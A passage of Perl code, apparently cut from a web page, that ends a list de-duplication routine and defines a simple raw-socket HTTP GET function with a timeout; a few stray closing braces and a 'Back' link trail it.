next if $visti{ $elemento }++;
push @unici, $elemento;
}   
return @unici;
}
 
sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;
my $page="";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq "") {$query="/";};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}
}
}
}
 

Back